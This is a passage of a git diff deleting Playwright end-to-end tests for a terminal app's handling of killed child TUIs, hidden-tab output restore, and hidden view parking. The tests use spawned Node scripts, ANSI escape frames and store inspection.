b/tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts deleted file mode 100644 index eec504e745d..00000000000 --- a/tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts +++ /dev/null @@ -1,216 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - ensureTerminalVisible, - getActiveTabId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - execInTerminal, - getTerminalContent, - readPaneIdentitySnapshot, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { - clearTerminalPtyWriteLog, - installTerminalPtyWriteSpy, - readTerminalPtyWriteEntries -} from './helpers/terminal-pty-write-spy' -import { stageNodeScriptForTerminal } from './helpers/run-node-script-in-terminal' - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveTab(id) - state?.setActiveTabType('terminal', state.activeWorktreeId) - }, tabId) - await expect - .poll(() => - page.locator('[data-testid="sortable-tab"][data-active="true"]').getAttribute('data-tab-id') - ) - .toBe(tabId) -} - -for (const exitMode of ['normal', 'sigkill'] as const) { - test(`clears modes when a child TUI exits via ${exitMode} while its shell survives hidden`, async ({ - electronApp, - orcaPage - }) => { - await installTerminalPtyWriteSpy(electronApp) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const shellTabId = (await getActiveTabId(orcaPage))! - const child = [ - "process.stdin.setRawMode?.(true); process.stdin.resume(); process.stdout.write('\\x1b[?1049h\\x1b[?1003h\\x1b[?1006h\\x1b[?25lCHILD_TUI_STARTED\\r\\n')", - ...(exitMode === 'normal' - ? [ - "process.on('SIGTERM', () => { process.stdout.write('\\x1b[?1006l\\x1b[?1003l\\x1b[?1049l\\x1b[?25h'); process.exit(0) })" - ] - : []), - "setInterval(() => process.stdout.write('\\x1b[2J\\x1b[HCHILD_TUI_FRAME\\r\\n'), 80)" - ].join(';') - const parent = [ - `const {spawn}=require('node:child_process'); const child=spawn(process.execPath,['-e',${JSON.stringify(child)}],{stdio:'inherit'});`, - "process.stdout.write('CHILD_TUI_PID_' + child.pid + '\\r\\n');", - "child.on('exit', () => process.stdout.write('\\r\\nCHILD_TUI_KILLED\\r\\n'))" - ].join(' ') - const command = stageNodeScriptForTerminal(parent, { prefix: 'orca-child-tui-kill' }).command - const tuiTabId = await orcaPage.evaluate( - ({ command }) => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - if (!state || !worktreeId) { - throw new Error('store/worktree unavailable') - } - const tab = state.createTab(worktreeId) - state.queueTabStartupCommand(tab.id, { command }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - return tab.id - }, - { command } - ) - - await expect.poll(() => getActiveTabId(orcaPage), { timeout: 5_000 }).toBe(tuiTabId) - const tuiPtyId = await waitForActivePanePtyId(orcaPage, 30_000) - const tuiIdentity = await readPaneIdentitySnapshot(orcaPage) - expect(tuiIdentity?.activeLeafId).not.toBeNull() - await expect - .poll(() => getTerminalContent(orcaPage, 6_000), { timeout: 20_000 }) - .toContain('CHILD_TUI_FRAME') - await expect - .poll(async () => { - const match = (await getTerminalContent(orcaPage, 6_000)).match(/CHILD_TUI_PID_(\d+)/) - return match?.[1] ?? null - }) - .not.toBeNull() - const childPid = (await getTerminalContent(orcaPage, 6_000)).match(/CHILD_TUI_PID_(\d+)/)?.[1] - expect(childPid).toBeDefined() - await activateTerminalTab(orcaPage, shellTabId) - const shellPtyId = await waitForActivePanePtyId(orcaPage, 30_000) - const exitSignal = exitMode === 'normal' ? 'SIGTERM' : 'SIGKILL' - const killCommand = stageNodeScriptForTerminal(`process.kill(${childPid!}, '${exitSignal}')`, { - prefix: 'orca-child-tui-external-kill' - }).command - await execInTerminal(orcaPage, shellPtyId, killCommand) - await expect - .poll( - () => - orcaPage.evaluate(async (ptyId) => { - const processName = await window.api.pty.getForegroundProcess(ptyId) - return processName?.toLowerCase() ?? null - }, tuiPtyId), - { timeout: 8_000 } - ) - .toMatch(/^(bash|zsh|sh|fish)(\.exe)?$/) - await orcaPage.evaluate( - ({ paneKey, tabId }) => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - if (!state || !worktreeId) { - throw new Error('store/worktree unavailable') - } - state.setAgentStatus( - paneKey, - { state: 'working', prompt: 'stale hidden TUI status', agentType: 'codex' }, - 'Codex', - undefined, - { tabId, worktreeId } - ) - }, - { paneKey: `${tuiTabId}:${tuiIdentity!.activeLeafId!}`, tabId: tuiTabId } - ) - await clearTerminalPtyWriteLog(electronApp) - await activateTerminalTab(orcaPage, tuiTabId) - - const revealedPtyId = await orcaPage.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - return manager?.getActivePane?.()?.container?.dataset?.ptyId ?? null - }, tuiTabId) - expect(revealedPtyId).not.toBeNull() - await expect - .poll(async () => { - const snapshot = await orcaPage.evaluate( - (ptyId) => window.api.pty.getMainBufferSnapshot(ptyId, { scrollbackRows: 5000 }), - revealedPtyId! - ) - return snapshot?.terminalOwner === 'shell' && snapshot.alternateScreen === false - }) - .toBe(true) - await expect - .poll(() => - orcaPage.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] - return { - buffer: pane?.terminal.buffer.active.type, - mouse: pane?.terminal.modes.mouseTrackingMode - } - }, tuiTabId) - ) - .toEqual({ buffer: 'normal', mouse: 'none' }) - - // Preserve output from 133;D onward, discarding the dead alt frame. SIGKILL’s parent exit line lands pre-D in alt and is intentionally lost; - // normal exit sends ?1049l first, preserving the line in the normal buffer. - if (exitMode === 'normal') { - await expect - .poll(() => getTerminalContent(orcaPage, 6_000), { timeout: 8_000 }) - .toContain('CHILD_TUI_KILLED') - } - - const shellInputMarker = 'SHELL_INPUT_AFTER_TUI_KILL' - await execInTerminal(orcaPage, revealedPtyId!, `printf ${shellInputMarker}`) - await expect - .poll(async () => { - const writes = await readTerminalPtyWriteEntries(electronApp) - return writes.some( - (entry) => entry.id === revealedPtyId && entry.data.includes(shellInputMarker) - ) - }) - .toBe(true) - await expect - .poll(() => getTerminalContent(orcaPage, 6_000), { timeout: 8_000 }) - .toContain(shellInputMarker) - - const terminalScreen = orcaPage.locator(`[data-pty-id="${revealedPtyId}"] .xterm-screen`) - await terminalScreen.hover({ position: { x: 20, y: 20 } }) - await orcaPage.mouse.wheel(0, 120) - await orcaPage.evaluate( - () => - new Promise((resolve) => - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - ) - ) - - const ptyWrites = (await readTerminalPtyWriteEntries(electronApp)) - .filter((entry) => entry.id === revealedPtyId) - .map((entry) => entry.data) - const escape = String.fromCharCode(27) - expect(ptyWrites.some((data) => data.includes(`${escape}[<`))).toBe(false) - expect(ptyWrites.some((data) => data.includes(`${escape}[M`))).toBe(false) - - const terminalState = await orcaPage.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] - return { - buffer: pane?.terminal.buffer.active.type, - mouse: pane?.terminal.modes.mouseTrackingMode - } - }, tuiTabId) - expect(terminalState).toEqual({ buffer: 'normal', mouse: 'none' }) - expect(await getTerminalContent(orcaPage, 6_000)).not.toMatch(/\[<\d+;\d+;\d+[Mm]/) - - await activateTerminalTab(orcaPage, shellTabId) - expect(await waitForActivePanePtyId(orcaPage, 30_000)).toBe(shellPtyId) - const unrelatedMarker = 'UNRELATED_SHELL_STILL_LIVE' - await execInTerminal(orcaPage, shellPtyId, `printf ${unrelatedMarker}`) - await expect - .poll(() => getTerminalContent(orcaPage, 6_000), { timeout: 8_000 }) - .toContain(unrelatedMarker) - }) -} diff --git a/tests/e2e/terminal-hidden-tui-visual-restore.spec.ts b/tests/e2e/terminal-hidden-tui-visual-restore.spec.ts deleted file mode 100644 index f22fff4692a..00000000000 --- a/tests/e2e/terminal-hidden-tui-visual-restore.spec.ts +++ /dev/null @@ -1,457 +0,0 @@ -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { randomUUID } from 'node:crypto' -import { mkdirSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { alternateScreenFixtureScript } from './alternate-screen-fixture-script' -import { test, expect } from './helpers/orca-app' -import { runNodeScriptInTerminal } from './helpers/run-node-script-in-terminal' -import { - ensureTerminalVisible, - getActiveWorktreeId, - getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' - -type HiddenTuiWindow = Window & { - __terminalPtyDataInjection?: { - inject: (paneKey: string, data: string, meta?: { seq?: number; rawLength?: number }) => boolean - } - // Only mode-2031 fact replies survive Phase 6’s removal of renderer hidden-skip counters. - __terminalPtyOutputDebug?: { - reset: () => void - snapshot: () => { - hiddenRendererSkipCount: number - } - } -} - -type TuiCursorState = { - hidden: boolean | null - initialized: boolean | null -} - -const HIDDEN_FRAME_SCRIPT_DELAY_MS = 750 - -function tuiFrame(runId: string, frame: number): string { - const progress = `${'█'.repeat((frame % 8) + 1)}${'░'.repeat(8 - ((frame % 8) + 1))}` - const rows = [ - '╭────────────────────────────────────────────────────────────────────╮', - `│ OpenCode visual restore Frame ${String(frame).padStart(3, '0')} ${frame % 2 === 0 ? '🟢' : '🟡'} ${progress} │`, - '├──────────────┬──────────────────────┬──────────────────────────────┤', - `│ model │ codex/opencode │ ${runId.slice(0, 28).padEnd(28)} │`, - `│ status │ ${frame % 2 === 0 ? 'thinking' : 'streaming'} │ input ${'#'.repeat((frame % 18) + 1).padEnd(22)} │`, - `│ diff │ +${String(frame * 3).padEnd(19)} │ -${String(frame).padEnd(27)} │`, - '╰──────────────┴──────────────────────┴──────────────────────────────╯', - `VISUAL_RESTORE_FINAL_${runId}_${frame}` - ] - return [ - '\x1b[?2026h', - '\x1b[?1049h', - '\x1b[2J\x1b[H', - '\x1b[?25l', - rows.map((row) => `\x1b[2;36m${row}\x1b[0m`).join('\r\n'), - '\x1b[10;18H\x1b[?25h', - '\x1b[?2026l' - ].join('') -} - -function lowRiskRestoreFrame(runId: string, frame: number): string { - const rows = [ - `LOW_RISK_RESTORE_FRAME_${runId}_${frame}`, - `status=${frame % 2 === 0 ? 'thinking' : 'streaming'}`, - `progress=${String(frame).padStart(3, '0')}`, - `VISUAL_RESTORE_FINAL_${runId}_${frame}` - ] - return `${rows.join('\r\n')}\r\n` -} - -async function resetHiddenDebug(page: Page): Promise { - await page.evaluate(async () => { - ;(window as HiddenTuiWindow).__terminalPtyOutputDebug?.reset() - // Phase-4 withheld-output evidence lives in main delivery counters. - await window.api.pty.resetRendererDeliveryDebug() - }) -} - -function writeHiddenFrameScript(scriptPath: string, runId: string): void { - const frames = Array.from({ length: 25 }, (_, frame) => tuiFrame(runId, frame)) - mkdirSync(path.dirname(scriptPath), { recursive: true }) - writeFileSync( - scriptPath, - alternateScreenFixtureScript(frames.join(''), HIDDEN_FRAME_SCRIPT_DELAY_MS) - ) -} - -function writeLowRiskFrameScript(scriptPath: string, frame: string): void { - mkdirSync(path.dirname(scriptPath), { recursive: true }) - writeFileSync( - scriptPath, - `setTimeout(() => process.stdout.write(${JSON.stringify(frame)}), ${HIDDEN_FRAME_SCRIPT_DELAY_MS})\n` - ) -} - -async function writeHiddenFrames(page: Page, ptyId: string, scriptPath: string): Promise { - await sendToTerminal(page, ptyId, `node ${JSON.stringify(scriptPath)}\r`) -} - -// Main drops hidden PTY bytes after model ingestion, before renderer delivery; observe its dropped-chars counter. -async function readMainHiddenDeliveryDroppedChars(page: Page): Promise { - return page.evaluate(async () => { - const snapshot = await window.api.pty.getRendererDeliveryDebugSnapshot() - return snapshot.hiddenDeliveryDroppedChars - }) -} - -async function readTuiCursorState(page: Page): Promise { - return page.evaluate(() => { - const store = window.__store - const state = store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error('Active terminal pane is unavailable') - } - const terminalCore = ( - pane.terminal as unknown as { - _core?: { coreService?: { isCursorHidden?: boolean; isCursorInitialized?: boolean } } - } - )._core - return { - hidden: terminalCore?.coreService?.isCursorHidden ?? null, - initialized: terminalCore?.coreService?.isCursorInitialized ?? null - } - }) -} - -async function injectPaneData( - page: Page, - paneKey: string, - data: string, - meta?: { seq?: number; rawLength?: number } -): Promise { - const injected = await page.evaluate( - ({ paneKey, data, meta }) => { - return (window as HiddenTuiWindow).__terminalPtyDataInjection?.inject(paneKey, data, meta) - }, - { paneKey, data, meta } - ) - if (!injected) { - throw new Error(`No terminal PTY data injector registered for ${paneKey}`) - } -} - -async function readMainSnapshotSource( - page: Page, - ptyId: string -): Promise<'headless' | 'renderer' | null> { - return page.evaluate(async (ptyId) => { - const snapshot = await window.api.pty.getMainBufferSnapshot(ptyId, { - scrollbackRows: 200 - }) - return snapshot?.source ?? null - }, ptyId) -} - -async function getUnreadTerminalTabIds(page: Page): Promise { - return page.evaluate(() => { - const store = window.__store - if (!store) { - return [] - } - return Object.keys(store.getState().unreadTerminalTabs) - }) -} - -async function getRuntimePaneTitle( - page: Page, - tabId: string, - numericPaneId: number -): Promise { - return page.evaluate( - ({ tabId, numericPaneId }) => { - const store = window.__store - if (!store) { - return null - } - return store.getState().runtimePaneTitlesByTabId[tabId]?.[numericPaneId] ?? null - }, - { tabId, numericPaneId } - ) -} - -async function writeHiddenSideEffectBurst( - page: Page, - ptyId: string, - title: string, - marker: string -): Promise { - const payload = `\x07\x1b]0;${title}\x07${marker}\n` - const script = `process.stdout.write(${JSON.stringify(payload)}); setTimeout(() => process.exit(0), 30000)` - // Why: delivered via a temp file — `node -e` quoting is not PowerShell-safe (#8521). - await runNodeScriptInTerminal(page, ptyId, script, { prefix: 'orca-hidden-side-effect' }) -} - -test.describe('Hidden terminal TUI visual restore', () => { - test('restores hidden full-screen TUI output without visible corruption', async ({ - orcaPage, - testRepoPath - }, testInfo: TestInfo) => { - await waitForSessionReady(orcaPage) - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (id) => id !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'hidden TUI restore needs the seeded secondary worktree') - if (!secondWorktreeId) { - return - } - - await switchToWorktree(orcaPage, secondWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const hiddenSnapshot = await waitForPaneIdentitySnapshot(orcaPage, 1) - const hiddenPane = hiddenSnapshot.panes[0] - if (!hiddenPane?.ptyId) { - throw new Error('hidden visual restore pane did not bind a PTY') - } - await switchToWorktree(orcaPage, firstWorktreeId) - await expect - .poll(() => getActiveWorktreeId(orcaPage), { - timeout: 10_000, - message: 'first worktree did not become active before hidden TUI injection' - }) - .toBe(firstWorktreeId) - - const runId = randomUUID() - const finalMarker = `VISUAL_RESTORE_FINAL_${runId}_24` - const scriptPath = path.join(testRepoPath, `.orca-hidden-tui-visual-${runId}.mjs`) - writeHiddenFrameScript(scriptPath, runId) - await resetHiddenDebug(orcaPage) - try { - await writeHiddenFrames(orcaPage, hiddenPane.ptyId, scriptPath) - await resetHiddenDebug(orcaPage) - - // Require bulk frames withheld in main after ingestion, before renderer delivery. - await expect - .poll(() => readMainHiddenDeliveryDroppedChars(orcaPage), { - timeout: 10_000, - message: 'visually rich hidden TUI output was not withheld from the renderer' - }) - .toBeGreaterThan(1024) - await expect - .poll(() => readMainSnapshotSource(orcaPage, hiddenPane.ptyId!), { - timeout: 10_000, - message: 'visually rich hidden TUI source did not come from headless model' - }) - .toBe('headless') - - await switchToWorktree(orcaPage, secondWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - await expect - .poll(() => getTerminalContent(orcaPage, 12_000), { - timeout: 10_000, - message: 'hidden TUI final frame did not restore when the workspace became visible' - }) - .toContain(finalMarker) - - const content = await getTerminalContent(orcaPage, 12_000) - expect(content).toContain(`Frame 024`) - expect(content).toContain('╭') - expect(content).toContain('├') - expect(content).toContain('█') - expect(content).not.toContain('Orca skipped hidden terminal output') - await expect - .poll(() => readTuiCursorState(orcaPage), { - timeout: 5_000, - message: 'restored TUI cursor stayed hidden after final frame' - }) - .toMatchObject({ - hidden: false, - initialized: true - }) - - const screenshotPath = testInfo.outputPath('hidden-tui-restore-final.png') - await orcaPage.screenshot({ path: screenshotPath, fullPage: true }) - await testInfo.attach('hidden-tui-restore-final.png', { - path: screenshotPath, - contentType: 'image/png' - }) - } finally { - await sendToTerminal(orcaPage, hiddenPane.ptyId, '\x03').catch(() => undefined) - rmSync(scriptPath, { force: true }) - } - }) - - test('keeps newer live output correct after plain hidden output restores', async ({ - orcaPage, - testRepoPath - }, testInfo: TestInfo) => { - await waitForSessionReady(orcaPage) - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (id) => id !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'hidden TUI restore needs the seeded secondary worktree') - if (!secondWorktreeId) { - return - } - - await switchToWorktree(orcaPage, secondWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const hiddenSnapshot = await waitForPaneIdentitySnapshot(orcaPage, 1) - const hiddenPane = hiddenSnapshot.panes[0] - if (!hiddenPane?.ptyId) { - throw new Error('hidden visual restore pane did not bind a PTY') - } - const paneKey = `${hiddenSnapshot.tabId}:${hiddenPane.leafId}` - - await switchToWorktree(orcaPage, firstWorktreeId) - await expect - .poll(() => getActiveWorktreeId(orcaPage), { - timeout: 10_000, - message: 'first worktree did not become active before hidden TUI injection' - }) - .toBe(firstWorktreeId) - - const runId = randomUUID() - const hiddenFrame = lowRiskRestoreFrame(runId, 40) - const liveFrame = lowRiskRestoreFrame(runId, 41) - const finalMarker = `VISUAL_RESTORE_FINAL_${runId}_41` - const scriptPath = path.join(testRepoPath, `.orca-low-risk-hidden-${runId}.mjs`) - writeLowRiskFrameScript(scriptPath, hiddenFrame) - await resetHiddenDebug(orcaPage) - await sendToTerminal(orcaPage, hiddenPane.ptyId, `node ${JSON.stringify(scriptPath)}\r`) - await resetHiddenDebug(orcaPage) - - // Observe main’s dropped counter even for plain hidden output. - await expect - .poll(() => readMainHiddenDeliveryDroppedChars(orcaPage), { - timeout: 10_000, - message: 'plain hidden injected output was not withheld from the renderer' - }) - .toBeGreaterThan(0) - - await switchToWorktree(orcaPage, secondWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await injectPaneData(orcaPage, paneKey, liveFrame, { - seq: hiddenFrame.length + liveFrame.length, - rawLength: liveFrame.length - }) - - await expect - .poll(() => getTerminalContent(orcaPage, 12_000), { - timeout: 10_000, - message: 'newer live TUI frame did not render after hidden output restored' - }) - .toContain(finalMarker) - - const content = await getTerminalContent(orcaPage, 12_000) - expect(content).toContain(`LOW_RISK_RESTORE_FRAME_${runId}_41`) - expect(content).toContain('progress=041') - expect(content.indexOf(`LOW_RISK_RESTORE_FRAME_${runId}_41`)).toBeGreaterThan( - content.indexOf(`LOW_RISK_RESTORE_FRAME_${runId}_40`) - ) - expect(content).not.toContain('Orca skipped hidden terminal output') - await expect - .poll(() => readTuiCursorState(orcaPage), { - timeout: 5_000, - message: 'live TUI cursor stayed hidden after hidden output restored' - }) - .toMatchObject({ - hidden: false, - initialized: true - }) - const screenshotPath = testInfo.outputPath('hidden-tui-live-output-final.png') - await orcaPage.screenshot({ path: screenshotPath, fullPage: true }) - await testInfo.attach('hidden-tui-live-output-final.png', { - path: screenshotPath, - contentType: 'image/png' - }) - rmSync(scriptPath, { force: true }) - }) - - test('keeps hidden terminal side effects live while hidden output may restore', async ({ - orcaPage - }) => { - await waitForSessionReady(orcaPage) - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (id) => id !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'hidden side-effect guard needs the seeded secondary worktree') - if (!secondWorktreeId) { - return - } - - await switchToWorktree(orcaPage, secondWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const hiddenSnapshot = await waitForPaneIdentitySnapshot(orcaPage, 1) - const hiddenPane = hiddenSnapshot.panes[0] - if (!hiddenPane?.ptyId) { - throw new Error('hidden side-effect pane did not bind a PTY') - } - - await switchToWorktree(orcaPage, firstWorktreeId) - await expect - .poll(() => getActiveWorktreeId(orcaPage), { - timeout: 10_000, - message: 'first worktree did not become active before hidden side-effect burst' - }) - .toBe(firstWorktreeId) - - const runId = randomUUID() - const hiddenTitle = `Hidden model side effects ${runId}` - const marker = `HIDDEN_SIDE_EFFECT_MARKER_${runId}` - await resetHiddenDebug(orcaPage) - await writeHiddenSideEffectBurst(orcaPage, hiddenPane.ptyId, hiddenTitle, marker) - - await expect - .poll(() => getRuntimePaneTitle(orcaPage, hiddenSnapshot.tabId, hiddenPane.numericPaneId), { - timeout: 10_000, - message: 'hidden OSC title did not update renderer-visible model state' - }) - .toBe(hiddenTitle) - await expect - .poll(async () => (await getUnreadTerminalTabIds(orcaPage)).includes(hiddenSnapshot.tabId), { - timeout: 10_000, - message: 'hidden BEL did not mark the hidden terminal tab unread' - }) - .toBe(true) - await expect - .poll(() => readMainSnapshotSource(orcaPage, hiddenPane.ptyId!), { - timeout: 10_000, - message: 'hidden side-effect restore did not use the runtime headless snapshot' - }) - .toBe('headless') - - await switchToWorktree(orcaPage, secondWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await expect - .poll(() => getTerminalContent(orcaPage, 12_000), { - timeout: 10_000, - message: 'hidden side-effect marker did not restore when the workspace became visible' - }) - .toContain(marker) - }) -}) diff --git a/tests/e2e/terminal-hidden-view-parking.spec.ts b/tests/e2e/terminal-hidden-view-parking.spec.ts deleted file mode 100644 index 86e0bf3aebc..00000000000 --- a/tests/e2e/terminal-hidden-view-parking.spec.ts +++ /dev/null @@ -1,365 +0,0 @@ -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { randomUUID } from 'node:crypto' -import { mkdirSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { alternateScreenFixtureScript } from './alternate-screen-fixture-script' -import { test, expect } from './helpers/orca-app' -import { runNodeScriptInTerminal } from './helpers/run-node-script-in-terminal' -import { - ensureTerminalVisible, - getActiveTabId, - getWorktreeTabs, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import '../../src/renderer/src/components/terminal-pane/parking/verdict/terminal-park-verdict-flip-telemetry' - -// Dev/exposeStore parking wiring exposes this handle and the applied delay override. -type ParkingDebugWindow = Window & { - __terminalParkingDebug?: { - parkDelayMs?: number - } -} - -// Scope fast-park env to these launches; module-level process.env leaked to later specs on worker reload. -// Production uses a 30s cold delay and multi-minute hot retention. -const PARKING_DELAY_MS = Number(process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS) || 500 - -test.use({ - orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARKING_DELAY_MS) } -}) - -const PARKED_FRAME_SCRIPT_DELAY_MS = 750 -const PARKED_FRAME_COUNT = 25 - -function parkedTuiFrame(runId: string, frame: number): string { - const progress = `${'█'.repeat((frame % 8) + 1)}${'░'.repeat(8 - ((frame % 8) + 1))}` - const rows = [ - '╭────────────────────────────────────────────────────────────────────╮', - `│ Parked view restore Frame ${String(frame).padStart(3, '0')} ${frame % 2 === 0 ? '🟢' : '🟡'} ${progress} │`, - '├──────────────┬──────────────────────┬──────────────────────────────┤', - `│ model │ codex/opencode │ ${runId.slice(0, 28).padEnd(28)} │`, - `│ status │ ${frame % 2 === 0 ? 'thinking' : 'streaming'} │ input ${'#'.repeat((frame % 18) + 1).padEnd(22)} │`, - `│ diff │ +${String(frame * 3).padEnd(19)} │ -${String(frame).padEnd(27)} │`, - '╰──────────────┴──────────────────────┴──────────────────────────────╯', - `PARKED_RESTORE_FINAL_${runId}_${frame}` - ] - return [ - '\x1b[?2026h', - '\x1b[?1049h', - '\x1b[2J\x1b[H', - '\x1b[?25l', - rows.map((row) => `\x1b[2;36m${row}\x1b[0m`).join('\r\n'), - '\x1b[10;18H\x1b[?25h', - '\x1b[?2026l' - ].join('') -} - -function writeParkedFrameScript(scriptPath: string, runId: string): void { - const frames = Array.from({ length: PARKED_FRAME_COUNT }, (_, frame) => - parkedTuiFrame(runId, frame) - ) - mkdirSync(path.dirname(scriptPath), { recursive: true }) - writeFileSync( - scriptPath, - alternateScreenFixtureScript(frames.join(''), PARKED_FRAME_SCRIPT_DELAY_MS) - ) -} - -// Hold one rich alt-screen frame (boxes, SGR, wide glyphs) unchanged so reveal drift is detectable without spinner churn. - -// Compare content rows: serialize() cursor-restore trailers vary without visible changes; strip trailers and whitespace-only tail rows. - -async function readParkingWiring( - page: Page -): Promise<{ present: boolean; parkDelayMs: number | null }> { - return page.evaluate(() => { - const debug = (window as ParkingDebugWindow).__terminalParkingDebug - return { present: debug !== undefined, parkDelayMs: debug?.parkDelayMs ?? null } - }) -} - -// Allow merge-order compatibility: skip builds without parking’s debug handle. -async function skipUnlessParkingWired(page: Page): Promise { - const deadline = Date.now() + 2_000 - let wiring = await readParkingWiring(page) - while (!wiring.present && Date.now() < deadline) { - await page.waitForTimeout(250) - wiring = await readParkingWiring(page) - } - test.skip( - !wiring.present, - 'terminal hidden view parking wiring has not landed (window.__terminalParkingDebug missing)' - ) -} - -type TerminalTabViewState = { - hasManager: boolean - paneCount: number -} - -async function readTerminalTabViewState(page: Page, tabId: string): Promise { - return page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - return { - hasManager: manager !== undefined, - paneCount: manager?.getPanes?.().length ?? 0 - } - }, tabId) -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((targetTabId) => { - const store = window.__store - if (!store) { - throw new Error('activateTerminalTab: window.__store is unavailable') - } - const state = store.getState() - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - state.setActiveTab(targetTabId) - }, tabId) - - await expect - .poll(() => getActiveTabId(page), { - timeout: 5_000, - message: `terminal tab ${tabId} did not become active` - }) - .toBe(tabId) -} - -async function createActiveTerminalTab(page: Page, worktreeId: string): Promise { - const tabId = await page.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - throw new Error('createActiveTerminalTab: window.__store is unavailable') - } - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { activate: true }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - return tab.id - }, worktreeId) - - await expect - .poll(() => getActiveTabId(page), { - timeout: 5_000, - message: 'newly created terminal tab did not become active' - }) - .toBe(tabId) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneIdentitySnapshot(page, 1) - return tabId -} - -async function getUnreadTerminalTabIds(page: Page): Promise { - return page.evaluate(() => { - const store = window.__store - if (!store) { - return [] - } - return Object.keys(store.getState().unreadTerminalTabs) - }) -} - -async function isWorktreeUnread(page: Page, worktreeId: string): Promise { - return page.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - return false - } - const worktree = Object.values(store.getState().worktreesByRepo) - .flat() - .find((candidate) => candidate.id === worktreeId) - return worktree?.isUnread === true - }, worktreeId) -} - -async function getTerminalTabTitle( - page: Page, - worktreeId: string, - tabId: string -): Promise { - const tabs = await getWorktreeTabs(page, worktreeId) - return tabs.find((tab) => tab.id === tabId)?.title ?? null -} - -type ParkableTabSetup = { - worktreeId: string - tabAId: string - tabAPtyId: string -} - -// Start each scenario with tab A live in the active worktree; callers hide it with new tabs. -async function setUpParkableTabA(page: Page): Promise { - const worktreeId = await waitForActiveWorktree(page) - await skipUnlessParkingWired(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - const tabASnapshot = await waitForPaneIdentitySnapshot(page, 1) - const tabAPtyId = tabASnapshot.panes[0]?.ptyId - if (!tabAPtyId) { - throw new Error('parking spec tab A did not bind a PTY') - } - return { - worktreeId, - tabAId: tabASnapshot.tabId, - tabAPtyId - } -} - -test.describe('Terminal hidden view parking', () => { - test('parks a hidden terminal tab and restores rich TUI output on reveal', async ({ - orcaPage, - testRepoPath - }, testInfo: TestInfo) => { - await waitForSessionReady(orcaPage) - const setup = await setUpParkableTabA(orcaPage) - const { worktreeId, tabAId, tabAPtyId } = setup - - const runId = randomUUID() - const finalMarker = `PARKED_RESTORE_FINAL_${runId}_${PARKED_FRAME_COUNT - 1}` - const scriptPath = path.join(testRepoPath, `.orca-parked-rich-tui-${runId}.mjs`) - writeParkedFrameScript(scriptPath, runId) - try { - await sendToTerminal(orcaPage, tabAPtyId, `node ${JSON.stringify(scriptPath)}\r`) - await expect - .poll(() => getTerminalContent(orcaPage, 12_000), { - timeout: 15_000, - message: 'rich TUI final frame did not render while tab A was visible' - }) - 